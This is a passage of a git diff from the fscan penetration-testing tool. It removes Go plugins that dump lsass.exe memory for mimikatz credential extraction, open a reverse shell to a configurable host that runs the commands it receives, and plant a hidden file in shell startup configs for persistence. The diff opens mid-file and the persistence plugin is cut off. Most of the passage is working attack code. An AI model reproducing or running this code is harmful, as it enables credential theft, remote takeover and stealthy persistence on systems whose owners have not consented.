RegisterLDPreloadPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/minidump/plugin.go b/plugins/local_backup/minidump/plugin.go deleted file mode 100644 index 00cefb4..0000000 --- a/plugins/local_backup/minidump/plugin.go +++ /dev/null @@ -1,619 +0,0 @@ -//go:build windows - -package minidump - -import ( - "context" - "errors" - "fmt" - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" - "golang.org/x/sys/windows" - "os" - "path/filepath" - "strings" - "syscall" - "time" - "unsafe" -) - -const ( - TH32CS_SNAPPROCESS = 0x00000002 - INVALID_HANDLE_VALUE = ^uintptr(0) - MAX_PATH = 260 - PROCESS_ALL_ACCESS = 0x1F0FFF - SE_PRIVILEGE_ENABLED = 0x00000002 -) - -type PROCESSENTRY32 struct { - dwSize uint32 - cntUsage uint32 - th32ProcessID uint32 - th32DefaultHeapID uintptr - th32ModuleID uint32 - cntThreads uint32 - th32ParentProcessID uint32 - pcPriClassBase int32 - dwFlags uint32 - szExeFile [MAX_PATH]uint16 -} - -type LUID struct { - LowPart uint32 - HighPart int32 -} - -type LUID_AND_ATTRIBUTES struct { - Luid LUID - Attributes uint32 -} - -type TOKEN_PRIVILEGES struct { - PrivilegeCount uint32 - Privileges [1]LUID_AND_ATTRIBUTES -} - -// MiniDumpPlugin 内存转储插件 - 使用简化架构 -type MiniDumpPlugin struct { - *local.BaseLocalPlugin - kernel32 *syscall.DLL - dbghelp *syscall.DLL - advapi32 *syscall.DLL -} - -// ProcessManager Windows进程管理器 -type ProcessManager struct { - kernel32 *syscall.DLL - dbghelp *syscall.DLL - advapi32 *syscall.DLL -} - -// NewMiniDumpPlugin 创建内存转储插件 - 简化版本 -func NewMiniDumpPlugin() *MiniDumpPlugin { - metadata := &base.PluginMetadata{ - Name: "minidump", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows进程内存转储插件", - Category: "local", - Tags: []string{"local", "memory", "dump", "lsass", "windows"}, - Protocols: []string{"local"}, - } - - plugin := &MiniDumpPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - } - - // 仅支持Windows平台 - plugin.SetPlatformSupport([]string{"windows"}) - // 需要管理员权限 - plugin.SetRequiresPrivileges(true) - - return plugin -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// Initialize 初始化插件 -func (p *MiniDumpPlugin) Initialize() error { - // 先调用基类初始化 - if err := p.BaseLocalPlugin.Initialize(); err != nil { - return err - } - - // 加载系统DLL - return p.loadSystemDLLs() -} - -// loadSystemDLLs 加载系统DLL -func (p *MiniDumpPlugin) loadSystemDLLs() error { - common.LogDebug("开始加载系统DLL...") - - // 加载系统DLL - 添加错误处理 - kernel32, err := syscall.LoadDLL("kernel32.dll") - if err != nil { - common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err)) - return fmt.Errorf("加载 kernel32.dll 失败: %v", err) - } - common.LogDebug("kernel32.dll 加载成功") - - dbghelp, err := syscall.LoadDLL("Dbghelp.dll") - if err != nil { - common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err)) - return fmt.Errorf("加载 Dbghelp.dll 失败: %v", err) - } - common.LogDebug("Dbghelp.dll 加载成功") - - advapi32, err := syscall.LoadDLL("advapi32.dll") - if err != nil { - common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err)) - return fmt.Errorf("加载 advapi32.dll 失败: %v", err) - } - common.LogDebug("advapi32.dll 加载成功") - - p.kernel32 = kernel32 - p.dbghelp = dbghelp - p.advapi32 = advapi32 - - common.LogSuccess("所有DLL加载完成") - return nil -} - -// ScanLocal 执行内存转储扫描 - 简化版本 -func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - defer func() { - if r := recover(); r != nil { - common.LogError(fmt.Sprintf("minidump插件发生panic: %v", r)) - } - }() - - common.LogInfo("开始进程内存转储...") - - // 检查管理员权限 - if !p.isAdmin() { - common.LogError("需要管理员权限才能执行内存转储") - return &base.ScanResult{ - Success: false, - Error: errors.New("需要管理员权限才能执行内存转储"), - }, nil - } - - common.LogSuccess("已确认具有管理员权限") - - // 创建进程管理器 - common.LogDebug("正在创建进程管理器...") - pm := &ProcessManager{ - kernel32: p.kernel32, - dbghelp: p.dbghelp, - advapi32: p.advapi32, - } - common.LogSuccess("进程管理器创建成功") - - // 查找lsass.exe进程 - common.LogDebug("正在查找lsass.exe进程...") - pid, err := pm.findProcess("lsass.exe") - if err != nil { - common.LogError(fmt.Sprintf("查找lsass.exe失败: %v", err)) - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("查找lsass.exe失败: %v", err), - }, nil - } - - common.LogSuccess(fmt.Sprintf("找到lsass.exe进程, PID: %d", pid)) - - // 提升权限 - common.LogDebug("正在提升SeDebugPrivilege权限...") - if err := pm.elevatePrivileges(); err != nil { - common.LogError(fmt.Sprintf("提升权限失败: %v", err)) - // 权限提升失败不是致命错误,继续尝试 - common.LogBase("权限提升失败,尝试继续执行...") - } else { - common.LogSuccess("权限提升成功") - } - - // 创建转储文件 - outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid)) - common.LogDebug(fmt.Sprintf("准备创建转储文件: %s", outputPath)) - - // 执行转储 - common.LogDebug("开始执行内存转储...") - - // 使用带超时的Windows API进行内存转储 - common.LogDebug("开始使用Windows API进行内存转储...") - - // 创建一个带超时的context(完整转储需要更长时间) - dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second) - defer cancel() - - err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath) - if err != nil { - common.LogError(fmt.Sprintf("内存转储失败: %v", err)) - // 创建错误信息文件 - errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n", - pid, err, time.Now().Format("2006-01-02 15:04:05"))) - os.WriteFile(outputPath, errorData, 0644) - - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("内存转储失败: %v", err), - }, nil - } - - // 获取文件信息 - fileInfo, err := os.Stat(outputPath) - var fileSize int64 - if err == nil { - fileSize = fileInfo.Size() - } - - // 获取系统信息 - systemInfo := p.GetSystemInfo() - - result := &base.ScanResult{ - Success: true, - Service: "MiniDump", - Banner: fmt.Sprintf("检测完成: lsass.exe 内存转储完成 (PID: %d)", pid), - Extra: map[string]interface{}{ - "process_name": "lsass.exe", - "process_id": pid, - "dump_file": outputPath, - "file_size": fileSize, - "system_info": systemInfo, - }, - } - - common.LogSuccess(fmt.Sprintf("成功将lsass.exe内存转储到文件: %s (大小: %d bytes)", outputPath, fileSize)) - return result, nil -} - -// GetLocalData 获取内存转储本地数据 -func (p *MiniDumpPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - data["plugin_type"] = "minidump" - data["target_process"] = "lsass.exe" - data["requires_admin"] = true - return data, nil -} - -// ExtractData 提取内存数据 -func (p *MiniDumpPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: true, - Output: "内存转储完成,可使用mimikatz等工具分析", - Data: data, - }, nil -} - -// isAdmin 检查是否具有管理员权限 -func (p *MiniDumpPlugin) isAdmin() bool { - var sid *windows.SID - err := windows.AllocateAndInitializeSid( - &windows.SECURITY_NT_AUTHORITY, - 2, - windows.SECURITY_BUILTIN_DOMAIN_RID, - windows.DOMAIN_ALIAS_RID_ADMINS, - 0, 0, 0, 0, 0, 0, - &sid) - if err != nil { - return false - } - defer windows.FreeSid(sid) - - token := windows.Token(0) - member, err := token.IsMember(sid) - return err == nil && member -} - -// ProcessManager 方法实现 - -// findProcess 查找进程 -func (pm *ProcessManager) findProcess(name string) (uint32, error) { - snapshot, err := pm.createProcessSnapshot() - if err != nil { - return 0, err - } - defer pm.closeHandle(snapshot) - - return pm.findProcessInSnapshot(snapshot, name) -} - -// createProcessSnapshot 创建进程快照 -func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) { - common.LogDebug("正在创建进程快照...") - proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot") - if err != nil { - return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %v", err) - } - - handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0) - if handle == uintptr(INVALID_HANDLE_VALUE) { - lastError := windows.GetLastError() - return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError) - } - common.LogDebug(fmt.Sprintf("进程快照创建成功,句柄: 0x%x", handle)) - return handle, nil -} - -// findProcessInSnapshot 在快照中查找进程 -func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) { - common.LogDebug(fmt.Sprintf("正在快照中查找进程: %s", name)) - var pe32 PROCESSENTRY32 - pe32.dwSize = uint32(unsafe.Sizeof(pe32)) - - proc32First, err := pm.kernel32.FindProc("Process32FirstW") - if err != nil { - return 0, fmt.Errorf("查找Process32FirstW函数失败: %v", err) - } - - proc32Next, err := pm.kernel32.FindProc("Process32NextW") - if err != nil { - return 0, fmt.Errorf("查找Process32NextW函数失败: %v", err) - } - - lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW") - if err != nil { - return 0, fmt.Errorf("查找lstrcmpiW函数失败: %v", err) - } - - ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) - if ret == 0 { - lastError := windows.GetLastError() - return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", lastError) - } - - processCount := 0 - for { - processCount++ - namePtr, err := syscall.UTF16PtrFromString(name) - if err != nil { - return 0, fmt.Errorf("转换进程名失败: %v", err) - } - - ret, _, _ = lstrcmpi.Call( - uintptr(unsafe.Pointer(namePtr)), - uintptr(unsafe.Pointer(&pe32.szExeFile[0])), - ) - - if ret == 0 { - common.LogSuccess(fmt.Sprintf("找到目标进程 %s,PID: %d (搜索了 %d 个进程)", name, pe32.th32ProcessID, processCount)) - return pe32.th32ProcessID, nil - } - - ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32))) - if ret == 0 { - break - } - } - - common.LogDebug(fmt.Sprintf("搜索了 %d 个进程,未找到目标进程: %s", processCount, name)) - return 0, fmt.Errorf("未找到进程: %s", name) -} - -// elevatePrivileges 提升权限 -func (pm *ProcessManager) elevatePrivileges() error { - handle, err := pm.getCurrentProcess() - if err != nil { - return err - } - - var token syscall.Token - err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token) - if err != nil { - return fmt.Errorf("打开进程令牌失败: %v", err) - } - defer token.Close() - - var tokenPrivileges TOKEN_PRIVILEGES - - lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW") - ret, _, err := lookupPrivilegeValue.Call( - 0, - uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("SeDebugPrivilege"))), - uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)), - ) - if ret == 0 { - return fmt.Errorf("查找特权值失败: %v", err) - } - - tokenPrivileges.PrivilegeCount = 1 - tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED - - adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges") - ret, _, err = adjustTokenPrivileges.Call( - uintptr(token), - 0, - uintptr(unsafe.Pointer(&tokenPrivileges)), - 0, 0, 0, - ) - if ret == 0 { - return fmt.Errorf("调整令牌特权失败: %v", err) - } - - return nil -} - -// getCurrentProcess 获取当前进程句柄 -func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) { - proc := pm.kernel32.MustFindProc("GetCurrentProcess") - handle, _, _ := proc.Call() - if handle == 0 { - return 0, fmt.Errorf("获取当前进程句柄失败") - } - return syscall.Handle(handle), nil -} - -// dumpProcessWithTimeout 带超时的转储进程内存 -func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error { - // 创建一个channel来接收转储结果 - resultChan := make(chan error, 1) - - go func() { - resultChan <- pm.dumpProcess(pid, outputPath) - }() - - select { - case err := <-resultChan: - return err - case <-ctx.Done(): - return fmt.Errorf("内存转储超时 (120秒)") - } -} - -// dumpProcess 转储进程内存 -func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error { - processHandle, err := pm.openProcess(pid) - if err != nil { - return err - } - defer pm.closeHandle(processHandle) - - fileHandle, err := pm.createDumpFile(outputPath) - if err != nil { - return err - } - defer pm.closeHandle(fileHandle) - - common.LogDebug("正在调用MiniDumpWriteDump API...") - miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump") - if err != nil { - return fmt.Errorf("查找MiniDumpWriteDump函数失败: %v", err) - } - - // 使用MiniDumpWithDataSegs获取包含数据段的转储(mimikatz兼容) - const MiniDumpWithDataSegs = 0x00000001 - const MiniDumpWithFullMemory = 0x00000002 - const MiniDumpWithHandleData = 0x00000004 - const MiniDumpScanMemory = 0x00000010 - const MiniDumpWithUnloadedModules = 0x00000020 - const MiniDumpWithIndirectlyReferencedMemory = 0x00000040 - const MiniDumpFilterModulePaths = 0x00000080 - const MiniDumpWithProcessThreadData = 0x00000100 - const MiniDumpWithPrivateReadWriteMemory = 0x00000200 - const MiniDumpWithoutOptionalData = 0x00000400 - const MiniDumpWithFullMemoryInfo = 0x00000800 - const MiniDumpWithThreadInfo = 0x00001000 - const MiniDumpWithCodeSegs = 0x00002000 - - // 组合多个标志以获得mimikatz可识别的完整转储 - dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData | - MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory | - MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory | - MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs - - common.LogDebug(fmt.Sprintf("使用转储类型标志: 0x%X", dumpType)) - - ret, _, callErr := miniDumpWriteDump.Call( - processHandle, - uintptr(pid), - fileHandle, - uintptr(dumpType), - 0, 0, 0, - ) - - common.LogDebug(fmt.Sprintf("MiniDumpWriteDump 返回值: %d", ret)) - if ret == 0 { - // 获取更详细的错误信息 - lastError := windows.GetLastError() - common.LogError(fmt.Sprintf("完整转储失败 (LastError: %d),尝试使用较小的转储类型...", lastError)) - - // 尝试使用较小的转储类型作为后备 - fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData - common.LogDebug(fmt.Sprintf("使用后备转储类型标志: 0x%X", fallbackDumpType)) - - ret, _, callErr = miniDumpWriteDump.Call( - processHandle, - uintptr(pid), - fileHandle, - uintptr(fallbackDumpType), - 0, 0, 0, - ) - - if ret == 0 { - lastError = windows.GetLastError() - return fmt.Errorf("写入转储文件失败: %v (LastError: %d)", callErr, lastError) - } - - common.LogBase("使用后备转储类型成功创建转储文件") - } - - common.LogSuccess("内存转储写入完成") - - return nil -} - -// openProcess 打开进程 -func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) { - common.LogDebug(fmt.Sprintf("正在打开进程 PID: %d", pid)) - proc, err := pm.kernel32.FindProc("OpenProcess") - if err != nil { - return 0, fmt.Errorf("查找OpenProcess函数失败: %v", err) - } - - handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid)) - if handle == 0 { - lastError := windows.GetLastError() - return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError) - } - common.LogSuccess(fmt.Sprintf("成功打开进程,句柄: 0x%x", handle)) - return handle, nil -} - -// createDumpFile 创建转储文件 -func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) { - pathPtr, err := syscall.UTF16PtrFromString(path) - if err != nil { - return 0, err - } - - createFile, err := pm.kernel32.FindProc("CreateFileW") - if err != nil { - return 0, fmt.Errorf("查找CreateFileW函数失败: %v", err) - } - - handle, _, callErr := createFile.Call( - uintptr(unsafe.Pointer(pathPtr)), - syscall.GENERIC_WRITE, - 0, 0, - syscall.CREATE_ALWAYS, - syscall.FILE_ATTRIBUTE_NORMAL, - 0, - ) - - if handle == INVALID_HANDLE_VALUE { - lastError := windows.GetLastError() - return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError) - } - - common.LogDebug(fmt.Sprintf("转储文件创建成功,句柄: 0x%x", handle)) - return handle, nil -} - -// closeHandle 关闭句柄 -func (pm *ProcessManager) closeHandle(handle uintptr) { - if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil { - proc.Call(handle) - } -} - - -// RegisterMiniDumpPlugin 注册内存转储插件 -func RegisterMiniDumpPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "minidump", - Version: "1.0.0", - Author: "fscan-team", - Description: "Windows进程内存转储插件", - Category: "local", - Tags: []string{"local", "memory", "dump", "lsass", "windows"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewMiniDumpPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("minidump", factory) -} - -// GetInfo 获取插件信息 -func (p *MiniDumpPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("Windows进程内存转储插件\n") - info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) - info.WriteString("功能: 转储lsass.exe进程内存用于mimikatz分析\n") - info.WriteString("要求: 需要管理员权限\n") - - return info.String() -} - -// 插件注册函数 -func init() { - RegisterMiniDumpPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/reverseshell/plugin.go b/plugins/local_backup/reverseshell/plugin.go deleted file mode 100644 index ff0c8af..0000000 --- a/plugins/local_backup/reverseshell/plugin.go +++ /dev/null @@ -1,276 +0,0 @@ -package reverseshell - -import ( - "bufio" - "context" - "fmt" - "io" - "net" - "os" - "os/exec" - "runtime" - "strconv" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// ReverseShellPlugin 反弹Shell插件 - 使用简化架构 -type ReverseShellPlugin struct { - *local.BaseLocalPlugin - target string // 目标地址:端口 - host string - port int -} - -// NewReverseShellPlugin 创建反弹Shell插件 - 简化版本 -func NewReverseShellPlugin() *ReverseShellPlugin { - // 从全局参数获取反弹Shell目标 - target := common.ReverseShellTarget - if target == "" { - // 如果没有指定目标,使用默认值 - target = "127.0.0.1:4444" - } - - metadata := &base.PluginMetadata{ - Name: "reverseshell", - Version: "1.0.0", - Author: "fscan-team", - Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS", - Category: "local", - Tags: []string{"local", "shell", "reverse", "crossplatform", "native"}, - Protocols: []string{"local"}, - } - - // 解析目标地址 - host, portStr, err := net.SplitHostPort(target) - if err != nil { - host = target - portStr = "4444" // 默认端口 - } - - port, err := strconv.Atoi(portStr) - if err != nil { - port = 4444 // 默认端口 - } - - plugin := &ReverseShellPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - target: target, - host: host, - port: port, - } - - // 设置支持的平台 - plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) - // 不需要特殊权限 - plugin.SetRequiresPrivileges(false) - - return plugin -} - -// Initialize 初始化插件 -func (p *ReverseShellPlugin) Initialize() error { - // 调用基类初始化 - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行反弹Shell扫描 - 简化版本 -func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("启动Go原生反弹Shell...") - - // 启动反弹shell - common.LogBase(fmt.Sprintf("连接到目标 %s", p.target)) - - // 直接在当前goroutine中运行,这样可以确保在设置ReverseShellActive后立即被主程序检测到 - err := p.startNativeReverseShell(ctx, p.host, p.port) - if err != nil { - common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err)) - return &base.ScanResult{ - Success: false, - Error: err, - }, nil - } - - result := &base.ScanResult{ - Success: true, - Service: "ReverseShell", - Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS), - Extra: map[string]interface{}{ - "target": p.target, - "platform": runtime.GOOS, - "implementation": "go_native", - "status": "completed", - }, - } - - return result, nil -} - -// startNativeReverseShell 启动Go原生反弹Shell - 核心实现 -func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error { - // 连接到目标 - conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port)) - if err != nil { - return fmt.Errorf("连接失败: %v", err) - } - defer conn.Close() - - common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port)) - - // 设置反弹Shell为活跃状态,告诉主程序保持运行 - common.ReverseShellActive = true - defer func() { - // 确保退出时清除活跃状态 - common.ReverseShellActive = false - }() - - // 发送欢迎消息 - welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH) - conn.Write([]byte(welcomeMsg)) - conn.Write([]byte("Type 'exit' to quit\n")) - - // 创建读取器 - reader := bufio.NewReader(conn) - - for { - // 检查上下文取消 - select { - case <-ctx.Done(): - conn.Write([]byte("Shell session terminated by context\n")) - return ctx.Err() - default: - } - - // 发送提示符 - prompt := fmt.Sprintf("%s> ", getCurrentDir()) - conn.Write([]byte(prompt)) - - // 读取命令 - cmdLine, err := reader.ReadString('\n') - if err != nil { - if err == io.EOF { - common.LogBase("反弹Shell连接关闭") - return nil - } - return fmt.Errorf("读取命令错误: %v", err) - } - - // 清理命令 - cmdLine = strings.TrimSpace(cmdLine) - if cmdLine == "" { - continue - } - - // 检查退出命令 - if cmdLine == "exit" { - conn.Write([]byte("Goodbye!\n")) - return nil - } - - // 执行命令 - result := p.executeCommand(cmdLine) - - // 发送结果 - conn.Write([]byte(result + "\n")) - } -} - -// executeCommand 执行系统命令 -func (p *ReverseShellPlugin) executeCommand(cmdLine string) string { - var cmd *exec.Cmd - - // 根据操作系统选择命令解释器 - switch runtime.GOOS { - case "windows": - cmd = exec.Command("cmd", "/C", cmdLine) - case "linux", "darwin": - cmd = exec.Command("bash", "-c", cmdLine) - default: - return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS) - } - - // 执行命令并获取输出 - output, err := cmd.CombinedOutput() - if err != nil { - return fmt.Sprintf("错误: %v\n%s", err, string(output)) - } - - return string(output) -} - -// getCurrentDir 获取当前目录 -func getCurrentDir() string { - dir, err := os.Getwd() - if err != nil { - return "unknown" - } - return dir -} - -// GetLocalData 获取反弹Shell本地数据 -func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - data := make(map[string]interface{}) - - // 获取系统信息 - data["plugin_type"] = "reverseshell" - data["platform"] = runtime.GOOS - data["arch"] = runtime.GOARCH - data["target"] = p.target - data["implementation"] = "go_native" - - if homeDir, err := os.UserHomeDir(); err == nil { - data["home_dir"] = homeDir - } - - if workDir, err := os.Getwd(); err == nil { - data["work_dir"] = workDir - } - - return data, nil -} - -// GetInfo 获取插件信息 -func (p *ReverseShellPlugin) GetInfo() string { - var info strings.Builder - - info.WriteString("Go原生反弹Shell插件\n") - info.WriteString(fmt.Sprintf("目标: %s\n", p.target)) - info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) - info.WriteString("功能: 建立反弹Shell连接,支持交互式命令执行\n") - info.WriteString("实现方式: 纯Go原生,无外部依赖\n") - - return info.String() -} - -// RegisterReverseShellPlugin 注册反弹Shell插件 -func RegisterReverseShellPlugin() { - factory := base.NewSimplePluginFactory( - &base.PluginMetadata{ - Name: "reverseshell", - Version: "1.0.0", - Author: "fscan-team", - Description: "纯Go原生反弹Shell本地插件,支持Windows/Linux/macOS", - Category: "local", - Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"}, - Protocols: []string{"local"}, - }, - func() base.Plugin { - return NewReverseShellPlugin() - }, - ) - - base.GlobalPluginRegistry.Register("reverseshell", factory) -} - -// init 插件注册函数 -func init() { - RegisterReverseShellPlugin() -} \ No newline at end of file diff --git a/plugins/local_backup/shellenv/plugin.go b/plugins/local_backup/shellenv/plugin.go deleted file mode 100644 index 02c791b..0000000 --- a/plugins/local_backup/shellenv/plugin.go +++ /dev/null @@ -1,422 +0,0 @@ -//go:build linux - -package shellenv - -import ( - "context" - "fmt" - "os" - "os/user" - "path/filepath" - "runtime" - "strings" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// ShellEnvPlugin Shell环境变量持久化插件 - 使用简化架构 -type ShellEnvPlugin struct { - *local.BaseLocalPlugin - targetFile string -} - -// NewShellEnvPlugin 创建Shell环境变量持久化插件 - 简化版本 -func NewShellEnvPlugin() *ShellEnvPlugin { - // 从全局参数获取目标文件路径 - targetFile := common.PersistenceTargetFile - if targetFile == "" { - targetFile = "" // 需要用户指定 - } - - metadata := &base.PluginMetadata{ - Name: "shellenv", - Version: "1.0.0", - Author: "fscan-team", - Description: "Linux Shell环境变量持久化插件,通过修改shell配置文件实现持久化", - Category: "local", - Tags: []string{"local", "persistence", "linux", "shell", "environment"}, - Protocols: []string{"local"}, - } - - plugin := &ShellEnvPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), - targetFile: targetFile, - } - - // 只支持Linux平台 - plugin.SetPlatformSupport([]string{"linux"}) - // 需要写入用户配置文件的权限 - plugin.SetRequiresPrivileges(false) - - return plugin -} - -// Initialize 初始化插件 -func (p *ShellEnvPlugin) Initialize() error { - if p.targetFile == "" { - return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径") - } - - // 检查目标文件是否存在 - if _, err := os.Stat(p.targetFile); os.IsNotExist(err) { - return fmt.Errorf("目标文件不存在: %s", p.targetFile) - } - - return p.BaseLocalPlugin.Initialize() -} - -// Scan 重写扫描方法以确保调用正确的ScanLocal实现 -func (p *ShellEnvPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - return p.ScanLocal(ctx, info) -} - -// ScanLocal 执行Shell环境变量持久化 - 简化版本 -func (p *ShellEnvPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - if runtime.GOOS != "linux" { - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("Shell环境变量持久化只支持Linux平台"), - }, nil - } - - common.LogBase("开始Shell环境变量持久化...") - common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile)) - - // 执行持久化操作 - results := make([]string, 0) - - // 1. 复制文件到隐藏目录 - hiddenPath, err := p.copyToHiddenPath() - if err != nil { - common.LogError(fmt.Sprintf("复制文件失败: %v", err)) - } else { - results = append(results, fmt.Sprintf("文件已复制到: %s", hiddenPath)) - common.LogSuccess(fmt.Sprintf("文件已复制到: %s", hiddenPath)) - } - - // 2. 添加到用户shell配置文件 - userConfigs, err := p.addToUserConfigs(hiddenPath) - if err != nil { - common.LogError(fmt.Sprintf("添加到用户配置失败: %v", err)) - } else { - results = append(results, fmt.Sprintf("已添加到用户配置: %s", strings.Join(userConfigs, ", "))) - common.LogSuccess("已添加到用户shell配置") - } - - // 3. 添加到全局shell配置文件 - globalConfigs, err := p.addToGlobalConfigs(hiddenPath) - if err != nil { - common.LogError(fmt.Sprintf("添加到全局配置失败: %v", err)) - } else { - results = append(results, fmt.Sprintf("已添加到全局配置: %s", strings.Join(globalConfigs, ", "))) - common.LogSuccess("已添加到全局shell配置") - } - - // 4. 创建启动别名 - aliasConfigs, err := p.addAliases(hiddenPath) - if err != nil { - common.LogError(fmt.Sprintf("创建别名失败: %v", err)) - } else { - results = append(results, fmt.Sprintf("已创建别名: %s", strings.Join(aliasConfigs, ", "))) - common.LogSuccess("已创建命令别名") - } - - // 5. 添加PATH环境变量 - err = p.addToPath(filepath.Dir(hiddenPath)) - if err != nil { - common.LogError(fmt.Sprintf("添加PATH失败: %v", err)) - } else { - results = append(results, "已添加到PATH环境变量") - common.LogSuccess("已添加到PATH环境变量") - } - - success := len(results) > 0 - - result := &base.ScanResult{ - Success: success, - Service: "ShellEnvPersistence", - Banner: fmt.Sprintf("Shell环境变量持久化完成 - 目标: %s", filepath.Base(p.targetFile)), - Extra: map[string]interface{}{ - "target_file": p.targetFile, - "platform": runtime.GOOS, - "methods": results, - "status": "completed", - }, - } - - return result, nil -} - -// copyToHiddenPath 复制文件到隐藏目录 -func (p *ShellEnvPlugin) copyToHiddenPath() (string, error) { - // 获取用户主目录 - usr, err := user.Current() - if err != nil { - return "", err - } - - // 创建隐藏目录 - hiddenDirs := []string{ - filepath.Join(usr.HomeDir, ".local", "bin"), - filepath.Join(usr.HomeDir, ".config"), - "/tmp/.system", - "/var/tmp/.cache", - } - - var targetDir string - for _, dir := range hiddenDirs { - if err := os.MkdirAll(dir, 0755); err == nil { - targetDir = dir - break - } - } - - if targetDir == "" { - return "", fmt.Errorf("无法创建目标目录") - } - - // 生成隐藏文件名 - basename := filepath.Base(p.targetFile) - hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename)) - if p.isScriptFile() { - hiddenName += ".sh" - } - - targetPath := filepath.Join(targetDir, hiddenName) - - // 复制文件 - err = p.copyFile(p.targetFile, targetPath) - if err != nil { - return "", err - } - - // 设置执行权限 - os.Chmod(targetPath, 0755) - - return targetPath, nil -} - -// copyFile 